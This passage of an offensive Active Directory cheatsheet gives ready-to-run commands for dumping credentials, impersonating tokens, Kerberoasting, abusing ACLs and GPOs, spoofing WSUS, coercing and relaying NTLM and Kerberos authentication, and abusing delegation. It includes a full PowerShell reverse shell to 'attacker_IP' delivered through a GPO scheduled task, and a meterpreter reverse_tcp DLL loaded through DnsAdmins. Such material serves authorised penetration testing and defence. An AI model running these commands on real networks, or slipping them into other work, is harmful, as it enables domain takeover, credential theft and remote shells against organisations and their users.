./sam.save -security ./security.save LOCAL #Extract creds from NTDS.dit secretsdump.py -system ./system.save -ntds ./NTDS.save LOCAL Read an LSASS dump with pypykatz: pypykatz lsa --json minidump $i | jq 'first(.[]).logon_sessions | keys[] as $k | (.[$k] | .credman_creds)' | grep -v "\[\]" | grep -v "^\[" | grep -v "^\]" Credentials Vault & DPAPI Decipher Vault with Master Key dpapi.py vault -vcrd -vpol -key Dump all secrets on a remote machine DonPAPI.py domain.local/user1:password@ Extract the domain backup key with a Domain Admin dpapi.py backupkeys --export -t domain.local/user1:password@ Dump all user secrets with the backup key DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@ GPPPassword & GPP Autologin Find and decrypt Group Policy Preferences passwords. Get-GPPPassword.py domain.local/user1:password@ #Specific share Get-GPPPassword.py -share domain.local/user1:password@ #GPP autologin nxc smb -u user1 -p password -M gpp_autologin -M gpp_password Credentials in third-party softwares Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on. python3 client/ThievingFox.py poison --all domain.local/user1:password@ python3 client/ThievingFox.py collect --all domain.local/user1:password@ python3 client/ThievingFox.py cleanup --all domain.local/user1:password@ nxc smb -u user1 -p password -M aws-credentials -M entra-sync-creds -M wam -M eventlog_creds -M iis -M keepass_trigger -M mobaxterm -M mremoteng -M msol -M notepad -M notepad++ -M powershell_history -M putty -M rdcman -M recent_files -M recyclebin -M veeam -M vnc -M wifi -M winscp Force a NTLM authentication from a connected user This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains here. #With NTLM downgrade RemoteMonologue.py domain/user1:password@target -auth-to -downgrade #With WebClient and an alternative DCOM object RemoteMonologue.py domain/user1:password@target -auth-to -webclient -dcom FileSystemImage Pass the Challenge This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here. This attack is presented in the Active Directory cheatsheet. Token manipulation Token impersonation with command execution and user addition Blog here. List available tokens, and find an interesting token ID nxc smb -u user1 -p password -M impersonate -o MODULE=list With only SeImpersonatePrivilege, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default): nxc smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN= CMD="user2 password 'Domain Admins' \\dc.domain.local" With SeImpersonatePrivilege and SeAssignPrimaryToken, if a privileged user's token is present on the machine, it is possible to execute comands on the machine as him: nxc smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN= CMD= Look at the Active Directory cheatsheet for other solutions. Tokens and ADCS With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users. masky -d domain.local -u user1 -p -dc-ip -ca -o Pass The Hash Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Hash with the -hashes command line parameter instead of specifying the password. For ldeep, NetExec and evil-winrm, it's -H. Over Pass The Hash / Pass The Key Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Key with the -aesKey command line parameter instead of specifying the password. For NetExec it's --aesKey. Kerberos authentication Request a TGT or a ST getTGT.py -dc-ip domain.local/user1:password getST.py -spn "cifs/target.domain.local" -dc-ip domain.local/user1:password Use the tickets Load a kerberos ticket in .ccache format : export KRB5CCNAME=./ticket.ccache Globally, all the Impacket tools and the ones that use the library can authenticate via Kerberos with the -k -no-pass command line parameter instead of specifying the password. For ldeep it's -k. For NetExec it is -k with credentials to perform the whole Kerberos process and authenticate with the ticket. If a .ccache ticket is already in memory, it is -k --use-kcache. For evil-winrm it's -r --spn (default 'HTTP'). The realm must be specified in the file /etc/krb5.conf using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } If the Kerberos ticket is in .kirbi format it can be converted like this: ticketConverter.py ticket.kirbi ticket.ccache ADIDNS poisoning How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us By default, any user can create new ADIDNS records But it is not possible to change or delete a record we are not owning By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it. Wildcard attack The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP: # Check if the '*' record exist python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" # creates a wildcard record python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d # disable a node python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" # remove a node python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" Feature abuse SCCM / MECM - PXE boot Check the dedicated page. WSUS Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS #Find the WSUS server with the REG key reg.py -dc-ip 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver' #Setup the fake WSUS server python3.exe pywsus.py --host --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"' And ARP spoofing with bettercap and a wsus_spoofing.cap like this: # quick recon of the network net.probe on # set the ARP spoofing set arp.spoof.targets $client_ip set arp.spoof.internal false set arp.spoof.fullduplex false # reroute traffic aimed at the WSUS server set any.proxy.iface $interface set any.proxy.protocol TCP set any.proxy.src_address $WSUS_server_ip set any.proxy.src_port 8530 set any.proxy.dst_address $attacker_ip set any.proxy.dst_port 8530 # control logging and verbosity events.ignore endpoint events.ignore net.sniff # start the modules any.proxy on arp.spoof on net.sniff on bettercap --iface --caplet wsus_spoofing.cap Now wait for update verification or manually trigger with a GUI access on the machine. Pre-Windows 2000 Computers Everything is explained here. nxc ldap -u user1 -p password -M pre2k Domain Privesc Kerberoast The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets. Find user with SPN GetUserSPNs.py -dc-ip domain.local/user1:password #In another domain through trust GetUserSPNs.py -dc-ip -target-domain domain.local/user1:password Request in JtR/Hashcat format GetUserSPNs.py -dc-ip -request -outputfile hash.txt domain.local/user1:password Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack: pypykatz kerberos spnroast -d domain.local -t -e 23 'kerberos+password://domain.local\user1:password@' Crack the hash john hash.txt --wordlist=./rockyou.txt hashcat -m 13100 -a 0 hash.txt rockyou.txt Kerberoast with DES This attack is presented in the Active Directory cheatsheet. Kerberoast w/o creds Without pre-authentication If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here. This PR must be used for the moment. GetUserSPNs.py -no-preauth -usersfile "users.txt" -dc-host "domain.local"/ With MitM If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast. ritm -i -t -g -u users.txt AS-REP Roasting If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled (UF_DONT_REQUIRE_PREAUTH) -> Kerberos preauth is disabled -> it is possible to grab user's crackable AS-REP and brute-force it offline. With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be disabled. Enumerate users GetNPUsers.py -dc-ip domain.local/user1:password Request AS-REP GetNPUsers.py -dc-ip -request -format john domain.local/user1:password It is possible to force DES, if it is allowed. Look at the Active Directory cheatsheet. Crack the hash With john or hashcat it could be performed Hijacking GPP Name-Only sAMAccountName hijacking The theory behind this attack is explained in this article. Initial configuration: A user priv_usr has GenericWrite rights over another user low_priv. A GPP is configured to add a "Name-Only" member named nonexistentuser to the local Administrators group. First GPO application: The system try to resolve nonexistentuser, but fails (the user doesn't exist). No member is added to Administrators. sAMAccountName modification: The attacker uses their GenericWrite rights to change the sAMAccountName from low_priv to nonexistentuser. bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "nonexistentuser" GPO replication: The next time the GPO is applied (or via a manual command such as gpupdate /force), the system resolves nonexistentuser to the SID of low_priv. Result: low_priv is added to the Administrators group. UPN hijacking Initial configuration: A GPP is configured to add a "Name-Only" member in UPN format: existingusr@domain.local. A user named existingusr already exists in the domain with this UPN. sAMAccountName modification: The attacker changes the sAMAccountName of low_priv to match the UPN exactly: existingusr@domain.local(this format is permitted for a UPN). bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "existingusr@domain.local" GPO replication: During resolution, LsaLookupNames first searches for an exact match in the sAMAccountName field, before the UPN. Result: low_priv is added to the Administrators group instead of existingusr. GPP processus variables A GPP is linked to an OU containing the WS computer and adds %DomainName%\%ComputerName%_adm (i.e. DOMAIN\WS_adm) to the Administrators group. The attacker checks that WS_adm does not exist: bloodyAD --host -u "priv_usr" -p password get object "WS_adm" The attacker changes the sAMAccountName of low_priv to match WS_adm: bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "WS_adm" Result: The next time GPP is applied, low_priv is added to the Administrators group on the WS machine. DACLs attacks DACLs packages Owns object WriteDacl GenericAll GenericWrite AllExtendedRights WriteOwner GenericWrite Self WriteProperty AllExtendedRights User-Force-Change-Password DS-Replication-Get-Changes DS-Replication-Get-Changes-All DS-Replication-Get-Changes-In-Filtered-Set On any objects WriteOwner With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it owneredit.py -new-owner user1 -target user2 -dc-ip -action write 'domain.local'/'user1':'password' dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip 'domain.local'/'user1':'password' #And change the password net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local WriteDacl With this rights we can modify our ACLs against the target, and give us GenericAll for example dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'user1':'password' In case where you have the right against a container or an OU, it is possible to setup the Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has AdminCount=1) dacledit.py -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'user1':'password' On an user WriteProperty ShadowCredentials pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip --filename user2 Targeted Kerberoasting We can then request a ST without special privileges. The ST can then be "Kerberoasted". GetUserSPNs.py -request-user user2 -dc-ip domain.local/user1:password New SPN must be unique in the domain #Set SPN on all the possible users, request the ticket and delete the SPN targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse User-Force-Change-Password With enough permissions on a user, we can change his password net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local On a computer WriteProperty ShadowCredentials pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip --filename user2 Kerberos RBCD AllExtendedRights ReadLAPSPassword nxc ldap -u user1 -p password -M laps -o computer="" ReadGMSAPassword ldeep ldap -u user1 -p password -d domain.local -s gmsa On a RODC GenericWrite Obtain local admin access Change the managedBy attribute value and add a controlled user. He will automatically gain admin rights. Retrieve Tiers 0 account's NT hashes It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD. powerview domain.local/user1:Password123@RODC-server.domain.local #First, add a domain admin account to the msDS-RevealOnDemandGroup attribute #Then, append the Allowed RODC Password Replication Group group PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local' PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' #If needed, remove the admin from the msDS-NeverRevealGroup attribute PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup WriteProperty WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket. powerview domain.local/user1:Password123@RODC-server.domain.local #First, add a domain admin account to the msDS-RevealOnDemandGroup attribute #Then, append the Allowed RODC Password Replication Group group PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local' PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' #If needed, remove the admin from the msDS-NeverRevealGroup attribute PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup On a group WriteProperty/AllExtendedRights/GenericWrite Self With one of this rights we can add a new member to the group net rpc group addmem user2 -U domain.local/user1%password -S On a GPO WriteProperty on a GPO We can update a GPO with a scheduled task for example to obtain a reverse shell ./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user Create a local admin ./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "" Manage Group Policy Links Whith this right or GenericWrite on a GPO we can manipulate its gPLink attribute in order to apply an evil GPO to all the children of a descendant OU, even the ones with adminCount=1. All the explains about this attack are presented here. The attack will defer if the final target is a user or a machine account. Machine Create a new Windows Server virtual machine connected to the network and install the domain controler features on it. Register it under a subdomain of the current domain (evil.domain.local) Create an empty GPO on this DC Reset the machine account password (to remove the unprintable characters) Reset-ComputerMachinePassword Stop the antivirus and dump the LSASS to retrieve the password lsassy -d 'evil.domain.local' -u administrator -p password Create a new computer account on the target domain with a LDAP SPN and the same password as the created DC python3 addcomputer_LDAP_spn.py -computer-name EVIL -computer-pass 'domain.local'/user1:password Create a new DNS record on the target domain to point the evil subdomain to the attacker machine python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil' -a add -d Configure the OUned.py tool with the following example. The [SMB] section must be setup to embedded and just a share name Run OUned.py sudo python3 OUned.py --config config.ini User Similarly, create an evil domain controler and a computer account with a LDAP SPN Create a second evil DC with the same domain as the target domain (domain.local). As the first evil DC, reset and retrieve its password Create a new SMB share on the second evil DC New-SmbShare -Name "evil" -Path "C:\Evil" Grant-SmbShareAccess -Name "evil" -AccountName "DOMAIN.LOCAL\administrator" -AccessRight Full Create a new computer account on the target domain with the HOST SPN and add a DNS record resolving this machine to the attacker IP python3 addcomputer.py -method LDAPS -computer-name EVIL2 -computer-pass 'domain.local'/user1:password python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil2' -a add -d Configure the OUned.py tool with the following example. The [SMB] section must be setup to forwarded with the other information setup Run OUned.py sudo python3 OUned.py --config config.ini On an OU GenericWrite With at least GenericWrite on an OU, it it possible to perform the same attacks presented in the GPO section with Manage Group Policy Links. Create msDS-DelegatedManagedServiceAccount or Create all child objects This is the BadSuccessor attack, presented in great details here. At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts). # Find users with sufficient privileges on OUs with NetExec nxc ldap -u user1 -p password -M badsuccessor # Enumerate and exploit with BadSuccessor.py # Enumerate schema python3 badsuccessor.py -u user1 -p password -d domain.local --check-schema # Find ALL writable OUs with detailed permissions python3 badsuccessor.py -u user1 -p password -d domain.local --enumerate # Attack with Administrator privs inheritance python3 badsuccessor.py -u user1 -p password -d domain.local --attack --target Administrator --ou-dn --dmsa-description "Pentest" # Extract credentials from the tickets' key package python3 badsuccessor.py -u user1 -p password -d domain.local --extract-creds --targets Administrator,krbtgt,svc_sql On the domain/forest DS-Replication-Get-Changes + DS-Replication-Get-Changes-All We can DCSync DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set It is possible to realize a DirSync attack, as presented here. This attack is presented in the Active Directory cheatsheet. Account Operators The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC. Another possibility, is to configure an AORTA attack, presented in this section. Add user to LAPS groups net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S Read LAPS password nxc ldap -u user2 -p password -M laps -o computer="" DnsAdmins It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). In case the DC also serves as DNS, this will provide us escalation to DA. Need privileges to restart the DNS service. #Generate the DLL msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=1234 -f dll > rev.dll #On the DNS machine, modify the server conf nxc smb -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\\rev.dll" #### Restart DNS services.py 'domain.local'/'user1':'password'@ stop dns services.py 'domain.local'/'user1':'password'@ start dns Schema Admins These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present. This attack is presented in the Active Directory cheatsheet. Backup Operators Can generally log in on any machines of the domain. File system backup Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup. To backup a folder content: nxc smb -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E" To backup with Diskshadow + Robocopy: Create a script.txt file to backup with Diskshadow and upload it on the target set verbose onX set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX Backup with diskshadow /s script.txt in the netexec command parameter Retrieve the backup with robocopy and send the NTDS file in the current folder : robocopy /b E:\Windows\ntds . ntds.dit (still with NXC) Then retrieve the SYSTEM registry hive to decrypt and profit reg save hklm\system c:\temp\system (always) Or, to do everything automatically: nxc smb -u user1 -p password -M backup_operator Registry read rights The Backup Operators can read all the machines registry reg.py -dc-ip 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Backup the SAM, SECURITY and SYSTEM registry keys reg.py -dc-ip 'domain.local'/'backup$':'Password123'@server.domain.local backup -o \\\share GPOs read/write rights Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode Found the interesting GPO with Get-NetGPO . For example Default Domain Policy in the Domain Controller policy Get the file at the path \\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf and add whatever you want in it Write the file with robocopy: nxc smb -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB' Key Admins Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers. AD Recycle Bin Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties. This attacke is presented in the Active Directory cheatsheet. Authentication capture, coerce and relay Capture, coerce and leak Different ways to obtain and catch NTLM authentications and retrieve a NTLM response. Responder Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used. sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc): # Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose responder -I interface_to_use -wPdDv With enough privileges on a machine, NTLMv1 can be detected like this: nxc smb -u user1 -p password -M ntlmv1 Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine): # --disable-ess will disable the SSP, not always usefull responder -I interface_to_use -wdDv --lm --disable-ess NTLMv1 response can be cracked on crash.sh (we miss you guy). Leak Files With write rights on a SMB share, it is possible to drop a .lnk or .scf file to grab some user hashes: nxc smb -u user1 -p password -M slinky -o SERVER= -o NAME= nxc smb -u user1 -p password -M scuffy -o SERVER= -o NAME= #To clean nxc smb -u user1 -p password -M slinky -o CLEANUP=True nxc smb -u user1 -p password -M scuffy -o CLEANUP=True MITM6 Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay: mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v Here for a Kerberos relay to ADCS: mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed. #PetitPotam ./petitpotam.py -u user1 -p password -d domain.local -pipe all #PrinterBug ./dementor.py -u user1 -p password -d domain.local #ShadowCoerce ./shadowcoerce.py -u user1 -p password -d domain.local #DFSCoerce ./dfscoerce.py -u user1 -d domain.local #CheeseOunce via MS-EVEN ./cheese.py domain.local/user1:password@ Multi coerce Try all the techniques above in one command with this. coercer.py coerce -u user1 -p password -d domain.local -t -l -v PrivExchange Coerce Exchange server authentication via PushSubscription (now patched): python3 privexchange.py -ah -u user1 -p password -d domain.local MSSQL Server With xp_dirtree. WebClient Service If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay). Check if WebClient is running on machines: webclientservicescanner domain.local/user1:password@ If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. The NETBIOS name can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS. #Responder technique responder -I interface_to_use -A #ADIDNS technique python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "attacker.domain.local" -d #Coerce with PetitPotam for example ./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning by changing the error code returned. #With Responder + smbserver #Start smbserver in a first terminal with authentication required python3 smbserver.py $NAME . -smb2support -username notexist -password notexist #Start Responder in a second terminal responder --interface "eth0" #Or only with Responder responder --interface "eth0" -E NTLM and Kerberos relay SMB without signing Create a list of computer without SMB signing: nxc smb --gen-relay-list list.txt ntlmrelayx If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used. Also useful with NTLMv1. Multiple targets can be specified with -tf list.txt. Enumeration #With attempt to dump possible GMSA and LAPS passwords, and ADCS templates ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl SOCKS ntlmrelayx.py -t smb://target -socks ntlmrelayx.py -t mssql://target -socks ntlmrelayx.py -t ldaps://target -socks Creds dump ntlmrelayx.py -t smb://target DCSync if the target in vulnerable to Zerologon ntlmrelayx.py -t dcsync://dc Privesc Add an user to Enterprise Admins. ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump Create a computer account #Create a new computer account through LDAPS ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl #Create a new computer account through SMB through the SAMR named pipe (https://github.com/SecureAuthCorp/impacket/pull/1290) ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC Kerberos Delegation Kerberos RBCD are detailled in the following section. #Create a new computer account through LDAPS and enabled RBCD ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS and enabled RBCD ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Doesn't create a new computer account and use an existing one ntlmrelayx.py -t ldap://dc_IP --escalate-user --delegate-access --no-dump --no-da --no-acl Shadow Credentials ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$' From a mitm6 authent #Attempts to open a socks and write loot likes dumps into a file ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks Targeting GPO Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB. Read this article to better understand. First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one) ntlmrelayx -t ldaps:// -wh ':8080' --http-port '80,8080' -i #When relay is successful, use nc to obtain a LDAP shell nc 127.0.0.1 11000 add_computer ATTACKER Password123 write_gpo_dacl ATTACKER$ {} Then, modify the GPO with the controlled account python3 gpoddity.py --gpo-id '' --domain 'domain.local' --username 'ATTACKER$' --password 'Password123' --command '' --rogue-smbserver-ip '' --rogue-smbserver-share 'evil' Relay to WinRMs If NTLMv1 is enabled on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this PR. #Perform the relay ntlmrelayx -t winrms://target.domain.local -smb2support #Use the opened WinRMs shell nc 127.0.0.1 11000 CVE-2025-33073 ADCS ESC8 & 11 SCCM primary site takeover krbrelayx To relay authentication from a mitm6 DNS spoofing to ADCS: krbrelayx.py --target http://CA.domain.local/certsrv -ip --victim target$ --adcs --template Machine Kerberos relay over SMB All explains here. First, register the specific DNS record: dnstool.py -u "domain\\user1" -p "password" -r "$ADCS_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "attacker_IP" --action add "DC_IP" --tcp Then, coerce the target to the registered record, with PetitPotam for example, and relay: Petitpotam.py -d domain.local -u user1 -p password "1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" dc.domain.local krbrelayx.py -t 'http://.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'dc$' Kerberos relay to unsigned SMB If the relayed authentication is privileged, this will dump the SAM and LSA: krbrelayx.py -t smb://target.domain.local Kerberos relay from multicast poisoning When a web server requests Kerberos authentication, it does not use the destination URL to determine the SPN for which an ST is to be retrieved, but rather the response name of the DNS response. Nominally, these two elements should coincide. The client accesses a login URL, performs the DNS query for the server's FQDN, then performs the ST request from the DNS response, and constructs the AP-REQ. Explains here. #Responder with -N to spoof the answer name returned by LLMNR responses # is the server that will receive the relay, for example the PKI responder -I eth0 -N #Krbrelayx to actually perform the Kerberos relay, for example to the PKI krbrelayx.py --target 'http://CA/certsrv/' -ip --adcs --template User CVE-2025-33073 - Kerberos Reflective relay Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced. dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d # Or, to target any computer dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d Modify krbrelayx.py to only provide Kerberos, and not NTLM, to ensure that NTLM will not be negociate. File: krbrelayx/lib/servers/smbrelayserver.py 156: blob['tokenOid'] = '1.3.6.1.5.5.2' 157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']), 158: MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']), 159: MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])]) PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support krbjack A tool to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them. The port list is really important and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services. MiTM and exec an executable on the target (SMB signing must be not required) krbjack --target-name --domain domain.local --dc-ip --ports --executable Just perform DNS poisoning without port forwarding and use the MiTM with ntlmrelayx. Be careful with the DOS risk krbjack --target-name --domain domain.local --dc-ip ntlmrelayx.py -t -smb2support Kerberos Delegations Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal. There are two main types of delegation: Unconstrained Delegation: the first hop server can request access to any service on any computer Constrained Delegation: the first hop server has a list of service it can request Unconstrained delegation A user request a TGT to the DC The user requests a ST for a service on a computer which is in Unconstrained Delegation The DC places user's TGT inside ST. When presented to the server with unconstrained delegation, the TGT is extracted from ST and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user This behavior can be abused by extracting the TGT from the previous users stored in LSASS Enumerate principals with Unconstrained Delegation Works for computers and users findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password Unconstrained Delegation attack If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion. Add a new DNS record on the domain that point to our IP Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool krbrelayx.py to extract the TGT from the ST) Trigger the authentication and grab the ST (and TGT in it) on krbrelayx that is listenning for it Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the 